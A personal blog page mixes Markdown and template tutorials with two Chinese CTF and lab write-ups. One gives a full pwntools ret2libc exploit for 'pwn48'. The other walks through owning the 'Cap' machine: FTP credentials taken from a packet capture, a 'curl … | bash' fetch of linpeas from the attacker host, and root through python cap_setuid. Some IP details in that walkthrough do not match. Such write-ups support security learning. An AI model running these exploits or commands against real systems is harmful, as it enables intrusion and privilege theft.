Rabbit's Blog

Markdown Tutorial

Mon, 20 Jan 2025 00:00:00 GMT

Markdown Tutorial

A markdown example shows how to write a markdown file. This document integrates core syntax and extensions (GMF).

Block Elements
Span Elements
- Links
- Emphasis
- Code
- Images
- Strikethrough
Miscellaneous
- Automatic Links
- Backslash Escapes
Inline HTML

Block Elements

Paragraphs and Line Breaks

Paragraphs

HTML Tag: <p>

One or more blank lines. (A blank line is a line containing nothing but spaces or tabs is considered blank.)

Code:

This will be
inline.

This is second paragraph.

Preview:

This will be inline.

This is second paragraph.

Line Breaks

HTML Tag: <br />

End a line with two or more spaces.

Code:

This will be not
inline.

Preview:

This will be not
inline.

Headers

Markdown supports two styles of headers, Setext and atx.

Setext

HTML Tags: <h1>, <h2>

"Underlined" using equal signs (=) as <h1> and dashes (-) as <h2> in any number.

Code:

This is an H1
=============
This is an H2
-------------

Preview:

This is an H1

This is an H2

atx

HTML Tags: <h1>, <h2>, <h3>, <h4>, <h5>, <h6>

Uses 1-6 hash characters (#) at the start of the line, corresponding to <h1> - <h6>.

Code:

# This is an H1
## This is an H2
###### This is an H6

Preview:

This is an H1

This is an H2

This is an H6

Optionally, you may "close" atx-style headers. The closing hashes don't need to match the number of hashes used to open the header.

Code:

# This is an H1 #
## This is an H2 ##
### This is an H3 ######

Preview:

This is an H1

This is an H2

This is an H3

Blockquotes

HTML Tag: <blockquote>

Markdown uses email-style > characters for blockquoting. It looks best if you hard wrap the text and put a > before every line.

Code:

> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
> consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
> Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
>
> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
> id sem consectetuer libero luctus adipiscing.

Preview:

This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.

Markdown allows you to be lazy and only put the > before the first line of a hard-wrapped paragraph.

Code:

> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
id sem consectetuer libero luctus adipiscing.

Preview:

This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.

Blockquotes can be nested (i.e. a blockquote-in-a-blockquote) by adding additional levels of >.

Code:

> This is the first level of quoting.
>
> > This is nested blockquote.
>
> Back to the first level.

Preview:

This is the first level of quoting.

This is nested blockquote.

Back to the first level.

Blockquotes can contain other Markdown elements, including headers, lists, and code blocks.

Code:

> ## This is a header.
>
> 1.   This is the first list item.
> 2.   This is the second list item.
>
> Here's some example code:
>
>     return shell_exec("echo $input | $markdown_script");

Preview:

This is a header.

This is the first list item.

This is the second list item.

Here's some example code:
return shell_exec("echo $input | $markdown_script");

Lists

Markdown supports ordered (numbered) and unordered (bulleted) lists.

Unordered

HTML Tag: <ul>

Unordered lists use asterisks (*), pluses (+), and hyphens (-).

Code:

*   Red
*   Green
*   Blue

Preview:

Red
Green
Blue

is equivalent to:

Code:

+   Red
+   Green
+   Blue

and:

Code:

-   Red
-   Green
-   Blue

Ordered

HTML Tag: <ol>

Ordered lists use numbers followed by periods:

Code:

1.  Bird
2.  McHale
3.  Parish

Preview:

Bird
McHale
Parish

It's possible to trigger an ordered list by accident, by writing something like this:

Code:

1986. What a great season.

Preview:

What a great season.

You can backslash-escape (\) the period:

Code:

1986\. What a great season.

Preview:

1986. What a great season.

Indented

Blockquote

To put a blockquote within a list item, the blockquote's > delimiters need to be indented:

Code:

*   A list item with a blockquote:

    > This is a blockquote
    > inside a list item.

Preview:

A list item with a blockquote:

This is a blockquote inside a list item.

Code Block

To put a code block within a list item, the code block needs to be indented twice — 8 spaces or two tabs:

Code:

*   A list item with a code block:

        <code goes here>

Preview:

A list item with a code block:
```
<code goes here>
```

Nested List

Code:

* A
  * A1
  * A2
* B
* C

Preview:

A
- A1
- A2
B
C

Code Blocks

HTML Tag: <pre>

Indent every line of the block by at least 4 spaces or 1 tab.

Code:

This is a normal paragraph:

    This is a code block.

Preview:

This is a normal paragraph:

This is a code block.

A code block continues until it reaches a line that is not indented (or the end of the article).

Within a code block, ampersands (&) and angle brackets (< and >) are automatically converted into HTML entities.

Code:

    <div class="footer">
        &copy; 2004 Foo Corporation
    </div>

Preview:

<div class="footer">
    &copy; 2004 Foo Corporation
</div>

Following sections Fenced Code Blocks and Syntax Highlighting are extensions, you can use the other way to write the code block.

Fenced Code Blocks

Just wrap your code in ``` (as shown below) and you won't need to indent it by four spaces.

Code:

Here's an example:

```
function test() {
  console.log("notice the blank line before this function?");
}
```

Preview:

Here's an example:

function test() {
  console.log("notice the blank line before this function?");
}

Syntax Highlighting

In your fenced block, add an optional language identifier and we'll run it through syntax highlighting (Support Languages).

Code:

```ruby
require 'redcarpet'
markdown = Redcarpet.new("Hello World!")
puts markdown.to_html
```

Preview:

require 'redcarpet'
markdown = Redcarpet.new("Hello World!")
puts markdown.to_html

Horizontal Rules

HTML Tag: <hr /> Places three or more hyphens (-), asterisks (*), or underscores (_) on a line by themselves. You may use spaces between the hyphens or asterisks.

Code:

* * *
***
*****
- - -
---------------------------------------
___

Preview:

Table

HTML Tag: <table>

It's an extension.

Separates column by pipe (|) and header by dashes (-), and uses colon (:) for alignment.

The outer pipes (|) and alignment are optional. There are 3 delimiters each cell at least for separating header.

Code:

| Left | Center | Right |
|:-----|:------:|------:|
|aaa   |bbb     |ccc    |
|ddd   |eee     |fff    |

 A | B
---|---
123|456


A |B
--|--
12|45

Preview:

Left	Center	Right
aaa	bbb	ccc
ddd	eee	fff

A	B
123	456

A	B
12	45

Span Elements

Links

HTML Tag: <a>

Markdown supports two style of links: inline and reference.

Inline

Inline link format like this: [Link Text](URL "Title")

Title is optional.

Code:

This is [an example](http://example.com/ "Title") inline link.

[This link](http://example.net/) has no title attribute.

Preview:

This is an example inline link.

This link has no title attribute.

If you're referring to a local resource on the same server, you can use relative paths:

Code:

See my [About](/about/) page for details.

Preview:

See my About page for details.

Reference

You could predefine link references. Format like this: [id]: URL "Title"

Title is also optional. And the you refer the link, format like this: [Link Text][id]

Code:

[id]: http://example.com/  "Optional Title Here"
This is [an example][id] reference-style link.

Preview:

This is an example reference-style link.

That is:

Square brackets containing the link identifier (not case sensitive, optionally indented from the left margin using up to three spaces);
followed by a colon;
followed by one or more spaces (or tabs);
followed by the URL for the link;
The link URL may, optionally, be surrounded by angle brackets.
optionally followed by a title attribute for the link, enclosed in double or single quotes, or enclosed in parentheses.

The following three link definitions are equivalent:

Code:

[foo]: http://example.com/  "Optional Title Here"
[foo]: http://example.com/  'Optional Title Here'
[foo]: http://example.com/  (Optional Title Here)
[foo]: <http://example.com/>  "Optional Title Here"

Uses an empty set of square brackets, the link text itself is used as the name.

Code:

[Google]: http://google.com/
[Google][]

Preview:

Google

Emphasis

HTML Tags: <em>, <strong>

Markdown treats asterisks (*) and underscores (_) as indicators of emphasis. One delimiter will be <em>; *double delimiters will be <strong>.

Code:

*single asterisks*

_single underscores_

**double asterisks**

__double underscores__

Preview:

single asterisks

single underscores

double asterisks

double underscores

But if you surround an * or _ with spaces, it'll be treated as a literal asterisk or underscore.

You can backslash escape it:

Code:

\*this text is surrounded by literal asterisks\*

Preview:

*this text is surrounded by literal asterisks*

Code

HTML Tag: <code>

Wraps it with backtick quotes (`).

Code:

Use the `printf()` function.

Preview:

Use the printf() function.

To include a literal backtick character within a code span, you can use multiple backticks as the opening and closing delimiters:

Code:

``There is a literal backtick (`) here.``

Preview:

There is a literal backtick (`) here.

The backtick delimiters surrounding a code span may include spaces — one after the opening, one before the closing. This allows you to place literal backtick characters at the beginning or end of a code span:

Code:

A single backtick in a code span: `` ` ``

A backtick-delimited string in a code span: `` `foo` ``

Preview:

A single backtick in a code span: `

A backtick-delimited string in a code span: `foo`

Images

HTML Tag: <img />

Markdown uses an image syntax that is intended to resemble the syntax for links, allowing for two styles: inline and reference.

Inline

Inline image syntax looks like this: ![Alt text](URL "Title")

Title is optional.

Code:

![Alt text](/path/to/img.jpg)

![Alt text](/path/to/img.jpg "Optional title")

Preview:

That is:

An exclamation mark: !;
followed by a set of square brackets, containing the alt attribute text for the image;
followed by a set of parentheses, containing the URL or path to the image, and an optional title attribute enclosed in double or single quotes.

Reference

Reference-style image syntax looks like this: ![Alt text][id]

Code:

[img id]: https://s2.loli.net/2024/08/20/5fszgXeOxmL3Wdv.webp  "Optional title attribute"
![Alt text][img id]

Preview:

Strikethrough

HTML Tag: <del>

It's an extension.

GFM adds syntax to strikethrough text.

Code:

~~Mistaken text.~~

Preview:

~~Mistaken text.~~

Miscellaneous

Automatic Links

Markdown supports a shortcut style for creating "automatic" links for URLs and email addresses: simply surround the URL or email address with angle brackets.

Code:

<http://example.com/>

<address@example.com>

Preview:

http://example.com/

address@example.com

GFM will autolink standard URLs.

Code:

https://github.com/emn178/markdown

Preview:

https://github.com/emn178/markdown

Backslash Escapes

Markdown allows you to use backslash escapes to generate literal characters which would otherwise have special meaning in Markdown's formatting syntax.

Code:

\*literal asterisks\*

Preview:

*literal asterisks*

Markdown provides backslash escapes for the following characters:

Code:

\   backslash
`   backtick
*   asterisk
_   underscore
{}  curly braces
[]  square brackets
()  parentheses
#   hash mark
+   plus sign
-   minus sign (hyphen)
.   dot
!   exclamation mark

Inline HTML

For any markup that is not covered by Markdown's syntax, you simply use HTML itself. There's no need to preface it or delimit it to indicate that you're switching from Markdown to HTML; you just use the tags.

Code:

This is a regular paragraph.

<table>
    <tr>
        <td>Foo</td>
    </tr>
</table>

This is another regular paragraph.

Preview:

This is a regular paragraph.

This is another regular paragraph.

Note that Markdown formatting syntax is not processed within block-level HTML tags.

Unlike block-level HTML tags, Markdown syntax is processed within span-level tags.

Code:

<span>**Work**</span>

<div>
    **No Work**
</div>

Preview:

pwn48：用puts泄漏libc

Sun, 31 May 2026 00:00:00 GMT

前言

pwn48是一道32位的ret2libc题目。题目提示里说可以使用write函数泄漏地址，但是这个程序里没有write@plt，实际可以用puts完成泄漏。

这道题的核心思路是：

利用栈溢出控制返回地址。
调用puts(puts_got)泄漏puts在libc里的真实地址。
再调用puts(read_got)多泄漏一个函数地址，用来辅助确定libc版本。
计算system和"/bin/sh"的地址。
最后执行system("/bin/sh")。

信息收集

先看一下程序的保护：

checksec file pwn48

结果如下：

Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE
Stripped:   No

可以得到几个关键信息：

这是32位程序，所以函数参数通过栈传递。
没有Canary，可以直接栈溢出。
NX开启，不能直接往栈上写shellcode执行。
没有PIE，程序本身的地址固定，可以直接使用plt、got和main地址。

再看一下导入函数：

elf = ELF('./pwn48')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
main_addr = elf.sym['main']

程序里有puts和read，没有write。所以这里选择用puts泄漏GOT表中的函数真实地址。

漏洞点

反汇编可以看到漏洞函数ctfshow里调用了read：

0804860e <ctfshow>:
 8048611: 53                    push   ebx
 8048612: 83 ec 74              sub    esp,0x74
 ...
 8048622: 68 c8 00 00 00        push   0xc8
 8048627: 8d 55 95              lea    edx,[ebp-0x6b]
 804862a: 52                    push   edx
 804862b: 6a 00                 push   0x0
 804862f: e8 2c fd ff ff        call   8048360 <read@plt>

这几句等价于：

read(0, buf, 0xc8);

其中buf的位置是[ebp - 0x6b]。也就是说，缓冲区距离保存的ebp有0x6b字节，再覆盖返回地址前还要经过4字节保存的ebp。

所以偏移是：

OFFSET = 0x6b + 4

第一次泄漏

32位函数调用时，栈上的布局是：

函数地址
返回地址
第1个参数
第2个参数
...

如果想调用：

puts(puts_got);

payload可以写成：

payload = flat(
    b'a' * OFFSET,
    puts_plt,
    main_addr,
    puts_got,
)

这段payload执行时的含义是：

puts_plt   -> 跳去执行 puts
main_addr  -> puts 执行完以后返回 main
puts_got   -> puts 的参数

为什么要返回main？

因为第一次payload只负责泄漏地址，还没有getshell。让程序回到main，程序就会重新打印提示并再次进入ctfshow，我们就可以发送第二次payload。

泄漏函数可以写成：

def leak(io, addr):
    payload = flat(
        b'a' * OFFSET,
        puts_plt,
        main_addr,
        addr,
    )

    io.recvuntil(b'O.o?\n')
    io.sendline(payload)

    return u32(io.recvn(4))

这里的：

return u32(io.recvn(4))

意思是接收4字节泄漏内容，并按照32位小端序转换成整数。

确定libc

只泄漏一个函数地址时，可能匹配到多个libc版本。所以这里再泄漏一个read地址：

puts_addr = leak(io, puts_got)
read_addr = leak(io, read_got)

然后交给LibcSearcher：

libc = LibcSearcher("puts", puts_addr)
libc.add_condition("read", read_addr)

这两句的意思是：

已知puts真实地址是puts_addr。
再加一个条件：read真实地址是read_addr。

这样可以更准确地确定远程环境使用的是哪个libc。

确定libc以后，就可以计算基地址：

libc_base = puts_addr - libc.dump('puts')

然后计算system和"/bin/sh"：

system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

getshell

最后调用：

system("/bin/sh");

32位payload写法是：

payload = flat(
    b'a' * OFFSET,
    system,
    0,
    bin_sh,
)

其中：

system  -> 要执行的函数
0       -> system执行完后的返回地址，随便填一个占位
bin_sh  -> system的第1个参数

这里的0不是参数，它是假的返回地址。因为在32位调用约定里，函数地址后面紧跟返回地址，参数在返回地址后面。

完整exp

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
elf = ELF('./pwn48')

HOST = 'pwn.challenge.ctf.show'
PORT = 28212

OFFSET = 0x6b + 4

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
main_addr = elf.sym['main']


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process('./pwn48')


def leak(io, addr):
    payload = flat(
        b'a' * OFFSET,
        puts_plt,
        main_addr,
        addr,
    )

    io.recvuntil(b'O.o?\n')
    io.sendline(payload)

    return u32(io.recvn(4))


def shell(io, system, bin_sh):
    payload = flat(
        b'a' * OFFSET,
        system,
        0,
        bin_sh,
    )

    io.recvuntil(b'O.o?\n')
    io.sendline(payload)
    io.interactive()


def main():
    io = start()

    puts_addr = leak(io, puts_got)
    read_addr = leak(io, read_got)

    libc = LibcSearcher("puts", puts_addr)
    libc.add_condition("read", read_addr)

    libc_base = puts_addr - libc.dump('puts')
    system = libc_base + libc.dump('system')
    bin_sh = libc_base + libc.dump('str_bin_sh')

    log.success(f"puts_addr = {puts_addr:#x}")
    log.success(f"read_addr = {read_addr:#x}")
    log.success(f"libc_base = {libc_base:#x}")
    log.success(f"system = {system:#x}")
    log.success(f"bin_sh = {bin_sh:#x}")

    shell(io, system, bin_sh)


if __name__ == '__main__':
    main()

运行远程：

python exp48.py REMOTE

总结

pwn48和前面的ret2libc题很像，不过这次没有直接使用write泄漏，而是换成了puts泄漏GOT表。

这道题最重要的知识点是：

32位程序参数在栈上传递。
函数地址后面紧跟的是返回地址。
GOT表里保存的是libc函数的真实地址。
可以通过puts(函数got)泄漏libc地址。
泄漏后返回main，是为了重新触发漏洞，发送下一阶段payload。
最终通过system("/bin/sh")getshell。

这类题的模板可以记成：

第一次：泄漏 libc 地址 -> 回 main
第二次：system("/bin/sh")

Cap的writeup

Sat, 23 May 2026 00:00:00 GMT

信息收集

端口扫描

使用 Nmap 对目标主机进行全端口扫描：

nmap -sC -sV -T4 -p- 10.129.2.34

参数说明：

-sC：使用 Nmap 默认脚本进行扫描，相当于 --script=default
-sV：进行服务及版本探测，识别端口上运行的服务和版本信息
-T4：设置扫描速度模板为 T4，速度较快，适合靶机环境
-p-：扫描全部 TCP 端口，即 1-65535
10.129.2.34：目标主机 IP 地址

小技巧：nmap扫描的时候按空格可以查看进度

好的，写到这里的时候，nmap已经扫描完毕。

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -T4 -p- 10.129.2.34   
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-22 19:42 -0400
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 59.62% done; ETC: 19:44 (0:00:46 remaining)
Stats: 0:01:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 59.90% done; ETC: 19:44 (0:00:46 remaining)
Stats: 0:04:58 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.72% done; ETC: 19:47 (0:00:01 remaining)
Nmap scan report for 10.129.2.34
Host is up (0.14s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 318.51 seconds

目标的21端口是开启的，并且是ftp服务，我们可以尝试匿名登录。 22端口是ssh，版本较高，可能没有漏洞？先不考虑 80端口是http服务，我们可以尝试访问http://10.129.2.34，看有没有什么信息

尝试使用anonymous用户匿名登录ftp服务

┌──(kali㉿kali)-[~]
└─$ ftp 10.129.2.34 21                    
Connected to 10.129.2.34.
220 (vsFTPd 3.0.3)
Name (10.129.2.34:kali): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp>

失败了

GetShell

访问http://10.129.2.34/，随便看看，知道了可能存在一个Nathan用户用dirsearch也没有发现有用的信息

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://10.129.2.34   
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                  
 (_||| _) (/_(_|| (_| )                                                           
                                                                                  
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_10.129.2.34/_26-05-22_20-00-47.txt

Target: http://10.129.2.34/

[20:00:47] Starting:                                                              
[20:01:06] 302 -  208B  - /data  ->  http://10.129.2.34/                    
[20:01:06] 302 -  208B  - /data/adminer.php  ->  http://10.129.2.34/        
[20:01:06] 302 -  208B  - /data/autosuggest  ->  http://10.129.2.34/        
[20:01:07] 302 -  208B  - /download/history.csv  ->  http://10.129.2.34/    
[20:01:07] 302 -  208B  - /download/users.csv  ->  http://10.129.2.34/      
                                                                             
Task Completed

（这里我重置了机器，靶机ip从10.129.2.34变成10.129.2.41了）

发现Security Snapshot这里有一些数据可以下载。

尝试访问http://10.129.2.41/data/0，发现可以下载其他id的数据

用wireshark打开，发现有ftp的账号和密码

用户名是nathan，密码是Buck3tH4TF0RM3!

                                                                 
┌──(kali㉿kali)-[~]
└─$ ftp 10.129.2.41 21
Connected to 10.129.2.41.
220 (vsFTPd 3.0.3)
Name (10.129.2.41:kali): nathan
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||48586|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 May 23 01:38 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||16491|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |*************************************|    33        0.59 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.10 KiB/s)
ftp>

退出ftp后cat一下就能得到user flag了。

ftp> quit
221 Goodbye.

┌──(kali㉿kali)-[~]
└─$ cat user.txt  
39c64bb9f36bb91f611e5356711b1067

尝试使用ftp的用户名和密码登录ssh，成功了。顺手看一下靶机是什么操作系统，而且我们可以看见这台靶机是64位的（x86_64）

                                                                                  
┌──(kali㉿kali)-[~]
└─$ ssh nathan@10.129.2.41   
The authenticity of host '10.129.2.41 (10.129.2.41)' can't be established.
ED25519 key fingerprint is: SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.2.41' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
nathan@10.129.2.41's password: #注意，这个地方输入密码是不会显示的，输完之后回车就可以了

nathan@cap:~$ uname -a
Linux cap 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

权限提升

接下来我们把linpeas传到目标机器上。

┌──(kali㉿kali)-[~]
└─$ linpeas

> peass ~ Privilege Escalation Awesome Scripts SUITE

/usr/share/peass/linpeas
├── linpeas_darwin_amd64
├── linpeas_darwin_arm64
├── linpeas_fat.sh
├── linpeas_linux_386
├── linpeas_linux_amd64
├── linpeas_linux_arm
├── linpeas_linux_arm64
├── linpeas.sh
└── linpeas_small.sh

运行linpeas之后，我们的工作目录就来到了/usr/share/peass/linpeas文件夹下。这里有很多个版本的linpeas，仔细看会发现： darwin是苹果的系统，排除。 386的是给32位x86架构的，排除。 linpeas_linux_amd64，可以尝试。因为刚刚uname -a命令已经告诉我们靶机是x86-64的linux系统。但是我这里是失败了。 .sh后缀的是linux的脚本文件，我们待会用linpeas.sh

在我们的攻击机（kali）上：

┌──(kali㉿kali)-[/usr/share/peass/linpeas]
└─$ ip a       
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:9e:7b:1f brd ff:ff:ff:ff:ff:ff
    inet 192.168.246.137/24 brd 192.168.246.255 scope global dynamic noprefixroute eth0
       valid_lft 1548sec preferred_lft 1548sec
    inet6 fe80::b818:7cc9:920e:3d17/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.16.16/23 brd 10.10.17.255 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:4::100e/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::7e6f:ca02:a0dd:10db/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

使用ip a可以看见网络接口的信息，这里我们是要获取自己机器的ip。lo是本地回环接口，用于主机自己访问自己，地址通常是 127.0.0.1，eth0是本机的普通网络接口，用于连接本地网络/互联网，而tun0是VPN 创建的虚拟网卡，用于连接靶场内网。这里我的tun0网卡的ip是10.10.16.16

┌──(kali㉿kali)-[/usr/share/peass/linpeas]
└─$ goshs -p 80
WARNING[2026-05-22 21:59:55] There is a newer Version (v2.0.8) of goshs available. Run --update to update goshs. 
  __ _  ___  ___| |__  ___ 
 / _` |/ _ \/ __| '_ \/ __|
| (_| | (_) \__ \ | | \__ \
 \__, |\___/|___/_| |_|___/
  __/ |                    
 |___/              v2.0.5

INFO   [2026-05-22 21:59:55] Download embedded file at: /example.txt?embedded 
INFO   [2026-05-22 21:59:55] Serving on interface lo bound to 127.0.0.1:80 
INFO   [2026-05-22 21:59:55] Serving on interface eth0 bound to 192.168.246.137:80

goshs -p 80的作用是启动一个80端口的http文件服务器，方便我们在靶机通过wget下载文件（下载linpeas）Buck3tH4TF0RM3!

接下来在靶机上下载并执行linpeas

在靶机上：

nathan@cap:~$ curl http://10.10.14.24/linpeas.sh | bash

发现/usr/bin/python3.8有cap_setuid权限。 CAP_SETUID 是 Linux 能力（Capabilities）中的一种，用于允许进程更改其用户 ID（UID）。在传统的 UNIX 系统中，只有超级用户（root）可以执行此类操作，而通过 CAP_SETUID，普通用户也可以在特定条件下更改进程的 UID，从而实现更细粒度的权限控制。

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

nathan@cap:/tmp$ /usr/bin/python3.8
Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system("/bin/bash")
root@cap:/tmp# cd /root
root@cap:/root# ls
root.txt  snap
root@cap:/root# cat root.txt
55d2a1c3bb39aae7c3e7396053329049

测试一下有没有自动构建

Sat, 23 May 2026 00:00:00 GMT

欢迎来到我的博客！这篇文章是用 Markdown 写的。

Markdown Extended Features

Wed, 01 May 2024 00:00:00 GMT

GitHub Repository Cards

You can add dynamic cards that link to GitHub repositories, on page load, the repository information is pulled from the GitHub API.

::github{repo="matsuzaka-yuki/Mizuki"}

Create a GitHub repository card with the code ::github{repo="matsuzaka-yuki/Mizuki"}.

::github{repo="matsuzaka-yuki/Mizuki"}

Admonitions

Following types of admonitions are supported: note tip important warning caution

:::note Highlights information that users should take into account, even when skimming. :::

:::tip Optional information to help a user be more successful. :::

:::important Crucial information necessary for users to succeed. :::

:::warning Critical content demanding immediate user attention due to potential risks. :::

:::caution Negative potential consequences of an action. :::

Basic Syntax

:::note
Highlights information that users should take into account, even when skimming.
:::

:::tip
Optional information to help a user be more successful.
:::

Custom Titles

The title of the admonition can be customized.

:::note[MY CUSTOM TITLE] This is a note with a custom title. :::

:::note[MY CUSTOM TITLE]
This is a note with a custom title.
:::

GitHub Syntax

[!TIP] The GitHub syntax is also supported.

> [!NOTE]
> The GitHub syntax is also supported.

> [!TIP]
> The GitHub syntax is also supported.

Spoiler

You can add spoilers to your text. The text also supports Markdown syntax.

The content :spoiler[is hidden ayyy]!

The content :spoiler[is hidden **ayyy**]!

Simple Guides for Mizuki

Mon, 01 Apr 2024 00:00:00 GMT

This blog template is built with Astro. For the things that are not mentioned in this guide, you may find the answers in the Astro Docs.

Front-matter of Posts

---
title: My First Blog Post
published: 2023-09-09
description: This is the first post of my new Astro blog.
image: ./cover.jpg
tags: [Foo, Bar]
category: Front-end
draft: false
---

Attribute	Description
`title`	The title of the post.
`published`	The date the post was published.
`pinned`	Whether this post is pinned to the top of the post list.
`priority`	The priority of the pinned post. Smaller value means higher priority (0, 1, 2...).
`description`	A short description of the post. Displayed on index page.
`image`	The cover image path of the post.<br/>1. Start with `http://` or `https://`: Use web image<br/>2. Start with `/`: For image in `public` dir<br/>3. With none of the prefixes: Relative to the markdown file
`tags`	The tags of the post.
`category`	The category of the post.
`licenseName`	The license name for the post content.
`author`	The author of the post.
`sourceLink`	The source link or reference for the post content.
`draft`	If this post is still a draft, which won't be displayed.

Where to Place the Post Files

Your post files should be placed in src/content/posts/ directory. You can also create sub-directories to better organize your posts and assets.

src/content/posts/
├── post-1.md
└── post-2/
    ├── cover.webp
    └── index.md

Markdown Mermaid

Sun, 01 Oct 2023 00:00:00 GMT

Complete Guide to Markdown with Mermaid Diagrams

This article demonstrates how to create various complex diagrams using Mermaid in Markdown documents, including flowcharts, sequence diagrams, Gantt charts, class diagrams, and state diagrams.

Flowchart Example

Flowcharts are excellent for representing processes or algorithm steps.

graph TD
    A[Start] --> B{Condition Check}
    B -->|Yes| C[Process Step 1]
    B -->|No| D[Process Step 2]
    C --> E[Subprocess]
    D --> E
    subgraph E [Subprocess Details]
        E1[Substep 1] --> E2[Substep 2]
        E2 --> E3[Substep 3]
    end
    E --> F{Another Decision}
    F -->|Option 1| G[Result 1]
    F -->|Option 2| H[Result 2]
    F -->|Option 3| I[Result 3]
    G --> J[End]
    H --> J
    I --> J

Sequence Diagram Example

Sequence diagrams show interactions between objects over time.

sequenceDiagram
    participant User
    participant WebApp
    participant Server
    participant Database

    User->>WebApp: Submit Login Request
    WebApp->>Server: Send Auth Request
    Server->>Database: Query User Credentials
    Database-->>Server: Return User Data
    Server-->>WebApp: Return Auth Result
    
    alt Auth Successful
        WebApp->>User: Show Welcome Page
        WebApp->>Server: Request User Data
        Server->>Database: Get User Preferences
        Database-->>Server: Return Preferences
        Server-->>WebApp: Return User Data
        WebApp->>User: Load Personalized Interface
    else Auth Failed
        WebApp->>User: Show Error Message
